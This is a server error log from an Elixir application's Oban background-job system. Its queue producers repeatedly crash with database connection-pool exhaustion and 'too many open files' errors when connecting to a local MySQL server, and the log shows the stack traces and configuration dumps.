State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:36:03.244417Z], limit: 3, uuid: "c7023989-0511-4f44-9f12-13e733139ad0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:03.244422Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23758>, refresh_timer: #Reference<0.2525715032.1077411843.253642>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:16.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:36:03.243203Z], limit: 20, uuid: "dc2b2349-4589-4d63-908c-6d3171a67af8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:03.243209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23754>, refresh_timer: #Reference<0.2525715032.1099431938.23740>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:36:03.248664Z], limit: 50, uuid: "92a3e94b-dc6f-4a0f-bbb6-c51adbcdf6dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:03.248669Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23757>, refresh_timer: #Reference<0.2525715032.1077411843.253655>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:36:03.238375Z], limit: 10, uuid: "30889a6f-be2f-49ed-9731-948f56ab7e6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:03.238381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23756>, refresh_timer: #Reference<0.2525715032.1077411843.253617>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:16.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:36:03.244324Z], limit: 5, uuid: "85be0f7f-b55e-4e33-b9db-eef8ddf48ad6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:03.244329Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23755>, refresh_timer: #Reference<0.2525715032.1099431938.23752>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:16.796000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:18.309000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:22.811000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:23.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:24.711000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=5.6ms idle=1374.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 23:36:25.649000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:26.759000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:36:16.243765Z], limit: 10, uuid: "6bace28c-64da-44d4-9d66-716c727e1699", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:16.243771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.253791>, refresh_timer: #Reference<0.2525715032.1077411843.253779>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:36:16.242414Z], limit: 50, uuid: "4fa0743b-bac4-4a4e-a750-7b11c6558ab7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:16.242420Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.253793>, refresh_timer: #Reference<0.2525715032.1099431938.23811>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:36:16.246978Z], limit: 5, uuid: "e859b3fc-18d0-4061-a552-9e704f41345c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:16.246984Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.253792>, refresh_timer: #Reference<0.2525715032.1077411843.253790>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:36:16.240855Z], limit: 3, uuid: "cdc4a7fd-c10f-4996-a711-8a2d0f37849e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:16.240861Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.124878>, refresh_timer: #Reference<0.2525715032.1121189889.124863>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
